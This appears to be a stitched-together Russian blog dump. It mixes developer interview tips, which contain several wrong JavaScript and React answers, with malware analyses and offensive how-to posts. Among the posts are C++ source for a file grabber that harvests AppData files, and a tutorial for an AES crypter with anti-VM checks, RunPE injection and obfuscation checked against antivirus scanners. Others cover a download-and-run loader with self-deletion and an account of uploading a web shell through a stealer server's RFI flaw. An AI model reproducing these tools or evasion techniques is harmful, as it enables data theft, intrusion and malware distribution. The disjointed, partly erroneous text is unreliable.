RGBlog

Самое главное — дать понять что вам интересна работа в этой компании/над данным проектом и что вы владеете в нужной мере всем тем, чего требует эта вакансия.

Рассмотрим план интервью HR:

“Сейчас я расскажу о компании и должности, а потом вы расскажете о своем опыте” — стандартная процедура на всех интервью. Постарайтесь внимательно послушать чем предстоит заниматься и отразить весь ваш связанный с этим опыт в ответе на вопрос о своем опыте. Не забудьте упомянуть, если вы обучаетесь каким-то новым технологиям/аспектам, это может быть полезно если в компании используется что-то подобное.

 “Теперь я задам вам пару вопросов на английском...” — если вакансия предполагает знание английского, то будьте готовы к тому, что часть всех этапов собеседования, либо же вообще все из них будут проводиться на нем. В большинстве случаев Intermediate уровня бывает вполне достаточно.

Вопросы о проектах (могут быть в предыдущем этапе, либо же отдельно) — вас будут спрашивать о том, каким проектом вы гордитесь, какой самый сложный функционал реализовывали, какие технологии применяли, что узнали в процессе и т.п. Тут самое важное — понять, что от вас хотят узнать не каким образом вы пишете генераторы покемонов, а как умеете решать возникшие проблемы и в контексте каких технологий.

“На какую зарплату вы расчитываете?” — нет смысла дешевить и бояться что сумма будет выше той, которую вам готовы заплатить. В 98% случаев зарплатная вилка на вакансию является приватной информацией. Также, названная вами сумма будет рассматриваться только в том случае, если на техническом интервью вы покажете соответствующий уровень знаний. В ином случае вам сообщат ту сумму, которую вам готовы платить и вы должны будете решить, подойдет она для вас или нет (при условии что вы по прежнему будете подходить на эту должность).

“У вас есть какие-нибудь вопросы?” — не задавать никаких вопросов очень плохая идея сразу по двум причинам: вы показываете что вам не интересно и вы не узнаете некоторых важных ньюансов, пока не поработаете там (и которые могут оказаться критичными для вас и отобрать кучу времени). Список вопросов которые необходимо задать: график работы (гибкий? 40 часов в неделю? выходные, праздники?), команда (кол-во специалистов? стэк? нужно ли общаться с клиентом? подразумевается ли карьерный рост?), проекты (примеры проектов, задач? с чем придется работать? что придется выучить?).

Подведем итог: интервью с HR дает работодателю понимание вас, с точки зрения психологии и дополнительно дает некоторую информацию для последующих собеседований (стек, портфолио, опыт).

Часть вторая. Техническое собеседование.

Техническое собеседование чаще всего проводит какой-нибудь Senior/Techlead из компании, который, скорее всего, не будет являться вашим прямым начальником на этой должности. Также, в 90% случаев, ему просто дают список вопросов по которым нужно погонять собеседуемого и список баллов за ответ по каждому из них, так что собеседовать вас — это не его прямая обязанность.

В основном, техническое интервью состоит только из шаблонных вопросов и задачек, так что, чтобы его пройти, нужно будет иметь хорошую теоретическую подготовку и глубокое знание используемых технологий.

Мы рассмотрим основные и самые частые вопросы по: JavaScript, Node.js, React и алгоритмам.

Вопросы по JavaScript:

Какие основные типы значений есть в JS? — String, Number, Boolean, Object, Undefined, Symbol, Functions, Array. Обратите внимание что тут нет таких типов как: integer, float, double. Все это — Number.

Есть ли какая-то методика, чтобы скрыть части объекта от внешнего мира? — на этот вопрос всего есть 3 ответа, но основной, который от вас хотят услышать — это замыкания. Проще говоря, это область видимости переменной: объявленная в функции переменная будет доступна только дочерним элементам этой функции. Второстепенный ответ (важен, если собеседование подразумеват знание React) — это Computed Properties. Props — это некий объект, содержащий различные значения, которые можно достать по ключу.

Зачем нужны асинхронные функции и какие в JS есть средства для работы с ними? — асинхронные функции созданы для того, чтобы отложить выполнение операции и не забивать ей поток. В качестве средств можно упомянуть: Promise, async/await, Generator, setInterval/setTimeout, callbacks.

JS реализует протоипное наследование. В чём его отличия от классического, преимущества и недостатки, что лучше? — классическое наследование определяет статичную иерархию (изменение невозможно), когда прототипное наследование позволяет объявлять ее динамично и изменять в рантайме. Но за счет этого возможны просадки в производительности.

Вопросы по алгоритмам:

Зачем нужно внедрение зависимостей (dependency injection), как его реализовать и какие примеры реализации знаешь? — внедрение зависимостей нужно для передачи управления потоком. Реализация происходит через написание некого wrapper’a, который будет расширять аргументы другого компонента, чаще всего это происходит с применением каррирования. Самые известные реализации — HoC (High-order Components) из React или же Hooks, которые стали им заменой в последнем обновлении и connect из Redux.

Как работают функции map, filter, reduce и для чего они нужны? — https://learn.javascript.ru/array-iteration

Вопросы по Node.js:

Node базируется на кроссплатформенной библиотеке libuv. За что она отвечает, какой паттерн реализует? Какие есть другие части Node? — libuv отвечает за Event Loop, реализующий паттерн “Реактор”. Node.js базируется на движке V8, но также есть аналоги, например, Chakra.

Браузер и Node реализуют однопоточную модель вычислений. Что это означает и чем чревато? — из-за однопоточности, инструкции выполняются последовательно, одна за другой. Соответственно, каждая операция будет блокировать поток и не давать выполняться другим. Именно поэтому JavaScript — асинхронный язык программирования.

Как работает Event Loop? — ссылка

Вопросы по React:

Какую проблему решают хуки в React? — позволяют извлекать и повторно использовать логику работы с состоянием. Тем самым, они полностью заменяют HoC. Подробнее о хуках можно прочитать тут — https://learn-reactjs.ru/core/hooks/introduction.

Назовите методы жизненного цикла компонента React — https://metanit.com/web/react/2.6.php (актуальную информацию всегда можно посмотреть в официальной документации).

Как оптимизировать отображение массивов в React? — использовать аттрибут key, который позволяет при обновлении отрисовывать только измененный объект, а не весь массив.

Какая есть заменя HoC и хукам в React? — Redux, реализующий архитектуру Flux. О том, зачем использовать Redux, можно почитать тут.

Что такое контекст в React? Какой пример контекста вы можете привести? — это компонент, служащий для передачи глобальных параметров всем дочерним компонентам (https://ru.reactjs.org/docs/context.html). Пример — Provider из Redux.

Часть третья. Финальное интервью с Project Manager.

Данный этап может проводиться как совместно со вторым, так и отдельно. Вы встретитесь с человеком, который в перспективе будет вашим непосредственным начальником. Он прогонит вас по вопросам, по которым вас гонял HR, но углубляясь в них намного больше. Также, он будет оценивать вашу способность к коммуникации и работе в команде, насколько вы подходите по вашему опыту на текущий проект и так далее.

Конкретных ответов на вопросы на данном этапе нет, т.к. они не подразумевают ничего двусмысленного. Я лишь приведу примеры вопросов.

Примерные вопросы:

Какую задачу вам нужно было решить? 

Какой путь решения выбрали и какие технологии использовали и почему?

Чему научились в процессе?

Заказчик работает по временному поясу США, а ты в России. Он сказал что пришлет ТЗ в 6 часов. У тебя уже 6 часов, но ТЗ ты так и не получил, твои действия?

Масштабирование

Когда приложение начинает набирать множество связных компонентов, то приходится выносить все больше состояний в родительские компоненты, тем самым забивать его и превращать в огромное хранилище состояний дочерних компонентов, что противоречит принципам React. Таких “хранилищ” в приложении может быть неограниченное множество, особенно если в нем несколько модулей. 

Redux решает эту проблему созданием общего хранилища состояний из которого любой компонент сможет забрать данные, доступ к которым был ранее определен в функции коннекта к хранилищу (привет инкапсуляция). По сути, у вас появляется состояние приложения, к которому имеют доступ компоненты.

Читаемость кода и DRY

Для того чтобы использовать Redux вам необходимо создать Reducer, Action/ActionCreator и Storage. Каждый Action и Reducer должен являться чистой функцией. Это позволяет сильно сократить количество багов, спровоцированных изменением поступивших данных и сделать код переиспользуемым. В отличие от состояния компонента, состояние приложения нужно передать в props всего-лишь один раз — в самом главном компоненте, и обернуть в него все остальное.

React Hooks

Главная фича, которую завезли в последних обновлениях React — хуки. Они позволяют создавать состояние функциональным компонентам, что делает классовые компоненты необходимыми только для использования методов жизненного цикла.

1000 epochs:

2000 epochs:

3000 epochs:

4000 epochs:

Я запустил файл, после запуска окна кредитной карты сдампил процесс при помощи PeTools и открыл дамп в IDA.

В main функции приложение запускало окно с функцией для callback’а DialogFunc:

Перейдя в нее, я заметил несколько интересных вещей:

Во-первых, текст, который появляется при вводе неверных данных в окна программы, подтверждающий что я на правильном пути, во-вторых, блок, судя по всему, содержащий логику регистрации и одну-единственную функцию в этом блоке.

Перехожу на эту функцию и вижу заветное “Serial is valid”:

Выше распологается if/else, которое, судя по всему, является валидатором серийного номера.

Выглядит это примерно следующим образом: вызывается некая функция, куда передается почта, введенный серийник и длина обоих строк, по ее результату (1 / 0) определяется, правильно введены данные или нет:

Переходим в функцию проверки серийника. Там видим 3 if/else для валидации данных:

Одна из валидаций прямолинейно говорила что длина серийника должна быть 32 символа (подсчитал с помощью  перебора цифр, скрипт ниже):

for i in range(99999):   if (i**2 - 24) % 1000 == 0: print(i)

Далее видим функцию MD5, которая используется на почте и строке "Z3r0_N1ghts":

Почему это именно MD5 можно понять, вбив в гугл hex-значения из этой функции:

Далее, md5-хэши конвертируются в байтовый вид и побайтово вычитаются, попутно проверяя результат разности с введенным серийником:

Алгоритм расшифрован, осталось только лишь написать к нему кейген:

import hashlib import binascii zero_nights = hashlib.md5('Z3r0_N1ghts'.encode()).digest() mail = hashlib.md5("[email protected]".encode()).digest() result = [] for i in range(len(zero_nights)):    result.append((zero_nights[i] - mail[i]) % 256) print(binascii.hexlify(bytearray(result)))

Получаем MD5 в байтовом виде от мейла и строки 'Z3r0_N1ghts', далее побайтово в цикле вычитаем одну строку из другой и выводим результат в виде HEX-строки.

Вводим полученные данные и получаем “Serial is valid”:

Unpacking

Функционал

Бот построен на основе ассинхронных тасков и методов. 

Конфигурация / Таски

Для работы с SOCKS юзается класс ProxySocket + обертка WinInet:

Присутствуют конструкторы классов для различных типов атак, которые выполняют роль парсинга, конструкторы тасков и методы для работы с ассинхронными методами:

Выделен целый класс для работы с версиями IE, таким образом, можно получать/создавать/редактировать версию через реестр:

Также, присутствуют методы кастомизации User-Agent/Cookie/Referrer при выполнении HTTP-запросов:

Получение текущего IP происходит через запрос к сервису https://api.ipify.org:

Также, присутствует проверка наличия языков СНГ-стран в раскладке:

Получение данных о машине происходит посредством System.Management. 

Есть проверка на небольшое кол-во анализаторов и снифферов:

Установка и закрепление в системе

Автозагрузка осуществляется путем комбинирования Powershell + Task Scheduler:

PS-скрипт при  запуске проверяет наличие файла в Startup директории, и если его нет, записывает и добавляет в "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" значение “WinWOW64Services”, в котором прописывается путь до файла “vstools.exe”. При этом, в автозагрузке (msconfig или диспетчер задач) красиво висит название “coala”.

Также, при запуске, приложение проверяет правильность имени файла, и в случае неудачи, перезаписывается под правильным именем:

Присутствует странная заглушка, видимо, автор забыл ее убрать:

Еще меня смутило вот это:

DDoS-функционал и алгоритм работы

В боте присутствует статическая обфускация домена C&C-панели, которая, после деобфускации, используется для получения тасков. Таски, в свою очередь, передаются в метод для их парсинга и выполнения. Есть отдельный парсер DDoS тасков и обычных. Для начала, рассмотрим последний:

dexecute: 

Скачивает и запускает указанный файл

execute:

Запускает указанный файл

suicide:

Удаляет себя из системы

update:

Обновляет билд на зараженной машине

А теперь перейдем к DDoS-методам и обходам:

Как и обычно, все реализовано на сокетах. Каждый таск работает асинхронно.

Anti-Captcha:

Обход капчи реализован через  сервис https://anti-captcha.com. Все обходы построены именно на основе этого метода, с небольшими доработками (вроде удаления каких-то html элементов и отправки доп. запросов)

Для сравнения, кусок кода обхода Sucuri WebSite Firewall:

Ссылки:

Utils.h

В этом файле мы подключим все необходимые зависимости и обозначим функции:

#include <string.h> #include <windows.h> #include <sstream> #include <vector> #include <iostream> #include "zip.h" #include "dirent.h" //Прописываю напрямую, т.к. в VS 2008 нет dirent’а. using namespace std; void ZipFolder(string name, string path); extern vector<string> ListDirectory(string path, string mask); extern char *GetTempPath(); extern BOOL FileExists(char *path);

Utils.cpp

Тут, соответственно, будут тела функций:

HWID достаем из реестра

char *HWID() {    HKEY hKey;    DWORD cData = 255;    TCHAR MachineGuid[255] = { '\0' };    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", NULL, KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS)        RegQueryValueEx(hKey, "MachineGuid", NULL, NULL, (LPBYTE)MachineGuid, &cData);    RegCloseKey(hKey);    return MachineGuid; }

Проверка существования файла и получение папки для  работы

char* GetTempPath() {    char *tmpPath = (char*)malloc(MAX_PATH);    strcpy(tmpPath, getenv("Temp"));    strcat(tmpPath, "\\");    strcat(tmpPath, HWID());    return tmpPath; } BOOL FileExists(char *path) {    struct stat buffer;      return (stat (path, &buffer) == 0); }

Поиск файлов по маске и возвращение в виде вектора

vector<string> ListDirectory(string path, string mask) {    WIN32_FIND_DATA FindFileData;    HANDLE hFind;    string sPath;    vector<string> folders;    sPath.assign((char*)(path+mask).c_str()); // Mask should be regex (*.txt)    hFind = FindFirstFile(sPath.data(), &FindFileData);    do    {        folders.push_back(FindFileData.cFileName);    }    while (FindNextFile(hFind, &FindFileData));    FindClose(hFind);    return folders; }

Трехшаговое добавление папки в архив (действия помечены комментариями)

void ZipFolder(string name, string path) {    HZIP hz = (HZIP)CreateZip(name.c_str(), 0);    vector<string> start = ListDirectory(path, "\\*"); // List everything in directory      for(int i = 0; i < start.size(); i++)    {        if (start[i] !=  "." && start[i] != "..") //Skip upper dirs        {            string realPath = path + "\\" + start[i]; //Full path to file/directory            ZipAdd(hz, (char*)start[i].c_str(), (char*)realPath.c_str()); //Add to archive if it is file            vector<string> folders = ListDirectory(realPath, "\\*"); //Go inside the dir            for(int j = 0; j < folders.size(); j++)            {                if (folders[j] !=  "." && folders[j] != "..")                {                    string zipPath = start[i] + "\\" + folders[j];                    realPath = path + "\\" + start[i] + "\\" + folders[j];                    ZipAdd(hz, (char*)zipPath.c_str(), (char*)realPath.c_str());                                      vector<string> folders2 = ListFoldersInDirectory(realPath); //Go one step deeper                    for(int k = 0; k < folders2.size(); k++)                    {                        if (folders2[k] !=  "." && folders2[k] != "..")                        {                            string zipPath = start[i]  + "/" + folders[j] + "/" + folders2[k];                            realPath = path + "\\" + start[i] + "\\" + folders[j]+  "\\" + folders2[k];                            ZipAdd(hz, (char*)zipPath.c_str(), (char*)realPath.c_str());                        }                    }                }            }        }      }    CloseZip(hz); }

FileGrabber.cpp

Тут находится наша точка входа (main). В ней нужно прописать создание временных директорий, вызов рекурсивной функции сбора файлов и создание архива из собранных файлов.

Далее, нам необходимо создать рекурсивную функцию, принимающую маску файлов, путь временной папки и путь начала поиска.

Main будет выглядеть следующим образом

string tempPath = GetTempPath(); CreateDirectory(tempPath.c_str(), NULL); Grab(getenv("AppData"), "\\*.txt", tempPath); //Grab all .txt files from %AppData% ZipFolder("test.zip", tempPath); //Archive will be created near the .exe file return 0;

Рекурсивный сбор файлов (действия помечены комментариями)

void Grab(string sourcePath, string mask, string destPath) {    vector<string> files = ListDirectory(sourcePath, mask); //Get files by mask    vector<string> folders = ListDirectory(sourcePath, "\\*"); //Get everything in directory    for(int i = 0; i < folders.size(); i++)    {        if(i < files.size() - 1) //Count of files can be less            if(files[i] !=  "." && files[i] != ".." && FileExists((char*)(sourcePath+"\\"+files[i]).c_str())) //Check if file exists and it's not upper dir                CopyFile((sourcePath+"\\"+files[i]).c_str(), (destPath+"\\"+files[i]).c_str(), false); //Grab file        if(FileExists((char*)(sourcePath+"\\"+folders[i]).c_str()) && folders[i] !=  "." && folders[i] != "..") //Check if directory exists and it's not upper dir            Grab(sourcePath+"\\"+folders[i], mask, destPath); //Go to this directory    } }

Ссылки

Исходник - https://github.com/1M50RRY/File-grabber

При этом на месте запуска создается несколько .dll, а позже создается батник, который их все удаляет спустя таймаут в 2 секунды:

Тыкая не туда, куда нужно (например, на “CREATE A NEW ACCOUNT”) можно вызвать вот такую форму:

После запуска основной формы, если включен брандмауэр, вылезет такое оповещение, которое покажет нам путь до дропнувшихся файлов:

Переходим по пути  и видим следующее:

В файле конфига прописаны IP, порт, сертификат и ключ:

Забираем себе .exe файлик и идем ковырять бинарники.

Вскрытие

Все exe-шники накрыты Smart Assembly,  поэтому просто прогоняем их через de4dot и получаем сорцы.

Fake Steam:

При запуске программы, как я уже говорил выше, выскакивает фейк-окно проверки обновлений стима:

Выплевываются дллки с батником (интересно, почему было нельзя все это сделать без батника):

Также, софт проверяет наличие процессов игр Доты и CS:GO, и если находит, убивает:

После чего вылетает ошибка с просьбой заново авторизоваться в стиме:

После “авторизации” проверяется валидность введенных пользователем данных:

И если они верны, то данные отправляются на сервер  (собственно, из  этого куска я понял что это софт Факера):

Ссылка на гейт в одной из строк окончательно подтверждает что это софт от Факера:

Windows Host.exe:

Этот  бинарник чуть по-интереснее. После запуска он прописывает себя в автозагрузку  через реестр:

После чего проверяет наличие конфигурационного файла, и если он отсутствует, создает его:

Далее загружаются настройки Фиддлера (прокси) и начинается прослушка на 8333 порте:

Приложение проверяет запросы на наличие стимовских URL и подменяет запросы на фейковые:

Итог

Неплохой софт, в принципе,  но довольно плохо защищен + есть недоработки в плане оптимизации. Не совсем хреново, но есть над чем работать.

Ссылки

Исходники - https://github.com/ims0rry/Faker-fake-steam

Для начала определим функционал и распределим его по двум вышеописанным модулям:

Шифрование файла - Builder

Генерация  ключа шифрования - Builder

Добавление иконки - Builder

Заполнение и компиляция стаба - Builder

Pump файла (искусственное увеличение веса) - Builder

Автозагрузка - Stub

Защита от виртуальной машины - Stub

Дешифровка файла и запуск в памяти - Stub

Stub

В стабе нам необходимо определить переменные, которые будут заполняться через билдер:

Startup

Автозагрузку делаем через дефолтный метод, кладем ярлык в папку %startup%, а сами прыгаем в %programdata%.

Decrypt

Дефолтный AES-декриптор, юзал его против Wanna-Die.

Anti VM

Метод, который детектит виртуалку. Использовал его в первой версии Куриямы. Достаем инфу о системе и делаем несколько сравнений с значениями виртуалок (на VPS работать тоже  не будет).

RunPE

Для инжекта нам понадобится MenaRunPE для инжекта .NET-приложений и ранпа для инжекта Native -> .NET (https://dumpz.org/2345536, http://kaynak-kod.blogspot.ru/2016/02/c-execute-exe-byte-array-in-memory.html). Расшифровываем payload из ресурсов и скармливаем функции инжекта.

Main

Builder

Создаем WinForms приложение и кидаем туда следующие элементы:

Делаем обработчики для всех кнопок  слева и всех чекбоксов в правой колонке. Для кнопок выбора иконки и файла создаем элемент  Open File Dialog:

File:

Icon:

Checkbox:

Делаем зависимые друг от друга чекбоксы, чтоб юзер не смог выбрать две несовместимые вещи.

Generate key:

AES-Encrypt:

Метод взят из Wanna-Die.

Pump:

Генерируем рандомные байты, пишем в файл и возвращаем путь до него.

Stub compilation:

Заполняем стаб, шифруем файл и компилируем.

Obfuscate:

Для уборки GEN детектов и обфускации, будем юзать ConfuserEx. Для начала нужно скомпилировать CLI-версию и основные DLL для работы. Далее, добавляем все эти файлы в ресурсы криптора. Дропаем файл его в %temp%, кидаем туда же файлы конфьюзера и протектим.

Ссылки

Итоговый детект - http://viruscheckmate.com/id/OROUMhAb8tts (можно играться настройками ConfuserEx, а так же многое зависит от иконки и ресурсов приложения)

Исходники - https://github.com/ims0rry/Aika-Crypter

Идем к @BotFather и создаем там себе бота:

Не забываем выключить у него  приватный мод, чтоб он смог общаться в чатах.

Че, код писать? Опять?

Создаем объект телеграм-бота и передаем туда наш апи-ключ, сразу создаем функцию, которая будет отвечать за анализ и ответ на сообщения, и ставим на нее заглушку:

Можно создать отдельный словарь сообщений и сделать рандомный ответ ими по различным командам:

Далее пишем функцию приема сообщений:

Сначала будет логгироваться ID чата, далее идет проверка на символ '@'  в сообщении (чтоб  не спамили юзернеймами телеги), ну и второе сравнение я добавил т.к. пару дебиков в чате решили зациклить ботов этим словом.

Также, стоит рандом на ответ.  Т.е. бот ответит и примет сообщение 50/50, чтоб особо не спамить.  Советую вырубить эту функцию пока бот не наберет в базе хотя бы 1000 сообщений.

Можно сделать проверку строки на символы, они будут просто убираться из предложения:

Но не советую ставить все из них. Максимум можете оставить кавычки, хоть это и не спасет вас от инъекций (тут уж извините, мне было лень делать  фильтрацию адекватную).

Идем дописывать функцию для ответа и анализа:

Генерируем  запросы к нашей бд  (да, я в курсе, что можно юзать UNION и вообще запросы не оптимизированы, бота делал для рофла и особо не старался).

Далее, пихаем запросы в базу и смотрим, есть ли ответы  с SELECT запроса:

Если есть, выбираем случайный из них и кидаем обратно в чат. У меня еще была идея: прикрутить рейтинг ответов, который будет основываться на кол-ве наличия ключевых слов из данного сообщения в данном ответе, но мне опять стало лень.

Ссылки

Exe:

DLL сломано и не отображается в Pe-сканнере никак.

Я человек простой - вижу автоит, прогоняю через exe2Aut:

Оказывается, в дллке заменены первые 8 байт. Открываем в hex-editor и меняем на дефолтные, получаем 7-zip архив:

С start.exe также дропнулся файл CLDebugLog.txt - это распаковщик архива. Как видим в коде, он с параметром в виде пароля от архива распаковывает дллку, далее, в зависимости от поддержки AES на компе, определяется, какой батник запускать.

start.bat:

start2.bat:

SystemCheck.xml:

32.exe:

Снимаем EVB:

Получаем еще 2 файла + распакованный 32.exe:

Checking.exe и msvcr120.dll накрыты UPX.

Как уже очевидно - это консольный майнер. Да-да, консольный майнер под UPX просто запускается с параметрами. Кто-то утверждал, что майнер работает внутри защищенного системного процесса, так вот, хер там плавал, это ничем не лучше батников и вбс.

В 64.exe ровно то же самое, только консольный майнер с поддержкой AES:

Эта сборка стоила 2000 рублей.

Часть 2. Паблик GPU версия от 25.12.17

Эту версию приобрел мой саппорт, но она у него так и не заработала.

Снова 2 файла:

Снова автоит:

И снова 7zip архив. В коде идет проверка на разрешенные видеокарты, далее запрос в логгер, распаковка архива и запуск батника. Чиним и открываем архив:

start_g.bat:

g.exe:

Для декомпиляции х64 автоит файла необходимо воспользоваться этим гайдом по перегону файла в х32 - http://www.hexacorn.com/blog/2015/01/08/decompiling-compiled-autoit-scripts-64-bit-take-two

В коде реализовано скрытие от некоторых программ, предназначенных для мониторинга нагрузки на видеокарту, запуск опять реализован через параметры к консольному майнеру.

Эта сборка стоит 2000 рублей.

Часть 3. Приватная версия от 25.12.17

Эту сборку мне скинул один знакомый, которому она случайно попала на руки.

Дается 6 файлов:

DSETUP.dll и run.exe имеют одинаковый скан:

dsetup32.dll и правда дллка, остальное поломанные архивы.

Прогоняем run.exe через exe2Aut:

Лол

Прогоняем DSETUP.dll через exe2Aut:

Очень много говнокода где, в зависимости от DirectX и разрядности ставится нужный архив. Чиним все архивы и распаковываем (пароль на все архивы - один).

Jun2017_d3dx10_43_x64:

64.exe:

SyncCheck.exe:

Бинго, вот и модуль бота, который стоит 2000 рублей.

start.bat:

В остальных архивах лежит почти то же самое, только все под Энигмой 5.x. В приватке основным криптом является протектор Enigma, никакой защиты от проактивок там нет.

В общем, насмотревшись на это все, я сделал такой вывод:

Эта сборка стоит от $1000 до $4000

Ссылки

Исходники + семплы + декомпилированные сорцы всех версий - https://github.com/ims0rry/Hawksh-miner

Основные функции

Первое, что пропишем - функцию логгера для отслеживания запусков файла:

Далее пишем метод загрузки и запуска файла из temp (можно изменить на programdata, appdata, localappdata):

Запускать файл методом Process.Start() и прямиком через cmd - плохая идея, поэтому сделаем метод создания таска в Планировщике Задач (он немного костыльный, можно сделать через отдельный Wrapper, но мне лень прикручивать дллку к проекту):

Генерация рандомных строк для метода schedule:

Функция самоудаления файла с кастомной задержкой:

Метод main оформляем вот так:

И получаем неплохой Runtime и Scantime детект:

Ссылки

Scantime детект - http://viruscheckmate.com/id/LAPF3ncPOx4N

Runtime детект - https://run4me.net/result/6788308c57d31418eb5826a57f23648a61550908c4c3cc932bba41e45be94e78

Анализ файла

Сам билд представляет из себя SIM инсталлятор:

При запуске запрашивает админ права. После запуска дропает следующие файлы в %appdata%:

Uninstall-файлы это удалятор от SIM, текстовый документ с именем ПК - лог (который почему-то пустой, хотя на виртуалке в хроме были пароли), SQLite дллки - для работы с БД браузеров, System Disk - сам стиллер:

Сразу тянется рука к дотпику, и не зря:

Сервер

Вот так просто можно получить исходный код этого стиллера. Но это не самое важное, ведь софт делается с прикольной, между прочим, идеей - отсылка логов в телеграм бота. Мне в этом плане все очень понравилось.

Единственное НО (а может и не единственное) - для бота нужен сервер => логи хранятся на сервере разработчика и вообще билды зависимы от него. Да, но селлер предлагает так же делать билды с привязкой на почту. Это нас не интересует, поэтому разберемся с сервером.

Видим в конце каждой функции стиллинга (они почему-то разные под все хромиум-браузеры, хотя можно сделать в одном методе):

Тут идет отсылка логов на сервер и дальнейшая их идентификация.

Интересно, а что будет если туда залить не лог, а какой-либо другой файл? К примеру, обычный .php файл с выводом произвольного текста. Просто дублируем строку:

Запускаем и проверяем результат:

Сорри, но у вас RFI. То есть, любой желающий, может разреверсить билд (прошу заметить, код не защищен ничем, как писал автор - его это устраивает), залить шелл на хост и забирать себе  втихую чужие логи. Для проверки заливаем (вообще залил @Qutrachka, но только в образовательных целях) шелл b374k и пробуем отыскать логи:

Прошу заметить, можно получить доступ не только к логам, а полностью к управлению всем стиллером и хостом.

Вывод

Сама идея очень хороша, но реализация, мягко говоря, хромает. Надеюсь, кодер обратит внимание на свои косяки и закроет их (в таком случае я бы и сам поюзал подобный продукт).

Ссылки

Исходник + семплы - https://github.com/ims0rry/xZist-Stealer

Оба файла .NET и ничем не накрыты:

Чистильщик майнера нам пока не интересен, поэтому декомпилируем сам билд через ILSpy и смотрим что там есть:

Обычный дроппер, но у него есть рерурсы:

Бинарник, который он, собственно и дропает с запуском. Дампим это все в файл и смотрим что это такое:

Поведение

Еще один дроппер, но уже в виде Smart Install Maker. Переименовываем файл в .exe и запускаем на виртуалке:

Получаем еще 3 файла. Скрытие из диспетчера, к слову, работает криво:

Разбор

intelmain.exe:

Следит за диспетчером задач (будет некорректно работать на Win8-10 из-за case-sensetivity к Taskmgr). Сам дает не меньшую нагрузку, чем майнер, ибо в цикле нет задержки.

intelservice.exe:

Консольный майнер

run.exe:

PureBasic файл с админ-правами. Открываем в IDA и сразу видим защиту от виртуализации:

Весь код замусорен вызовами различных функций, среди них есть функции дешифрации каких-то данных, судя по строкам - конфиг для консольного майнера. А в ресурсах видим подтверждение этому:

Дешифровать все это, мы, конечно, не будем. Ведь можно просто запустить -.-

Файл запускает консольный майнер с дешифрованными параметрами, но они все равно видны в передаваемых параметрах, моя логика на этом моменте укатилась куда-то на уровень Mr.Mir'а.

Ссылки

Исходники + семплы - https://github.com/ims0rry/Dzotra-miner

Внутренности

Вот тут уже начинается темная сторона этого продукта. Из серьезных недоработок я нашел:

Update - автообновление панели, которое можно использовать как бекдор Класс:

Использование:

Возможно, сделано это ненамеренно, но риск остается.

Уязвимость к SQL-инъекциям - хоть и используется mysqli, но толку от него ноль:

Данные вставляются в принятом формате (я где-то видел метод, который регулярками что-то либо сравнивает, либо чистит, но регулярки, я слышал, не спасают):

"Шифрование данных" - это HEX. Если уж заявили о шифровании, нужно его сделать адекватно, а не так, чтобы все это через любой онлайн-декодер расшифровывалось:

Анализ файла

PE

Смотрим через PE-сканнеры:

Файл ничем не запакован, ЯП - Delphi.

Данные

Открываем файл в IDA и первое, на что обращаем внимание - строки:

Очень много hex-строк, а как мы уже знаем, в софте именно это является основным шифрованием данных. При декодировании можно найти пару интересных строк:

User-Agent с которым делается http-запрос:

Хост на который привязан лоадер:

Параметры:

А тут мы видим что лоадер использует стандартную автозагрузку:

Функции

Основной метод выглядит так:

Происходят DLL-проверки (чек на песочницу, виртуалку и т.д.), далее происходит запуск в памяти массива байт (предпоследняя строчка).

На графе выглядит примерно так:

Теперь нам нужно отыскать то, что запускается в памяти:

Переходим:

Далее открываем функцию Main этого массива (sub_420434):

В функции sub_4213B8 происходит запрос к серверу, там же мы видим захексованный хост и параметры:

Далее в цикле происходит запрос текущих тасков и их выполнение. По названиям строк (str_load, str_udp, str_method_http) не трудно догадаться что первое - это таск загрузки и запуска файла, второе - udp-flood, третье - http-flood.

Смотрим функции по порядку:

Загрузка и запуск файла:

Загрузка:

Запуск:

UDP-flood:

HTTP-flood:

В цикле стартуют потоки этой функции:

Реализация довольно громоздкая, можно было сделать куда проще и эффективнее.

Ссылки

Сорцы панели + семпл - https://github.com/ims0rry/DarkSky-botnet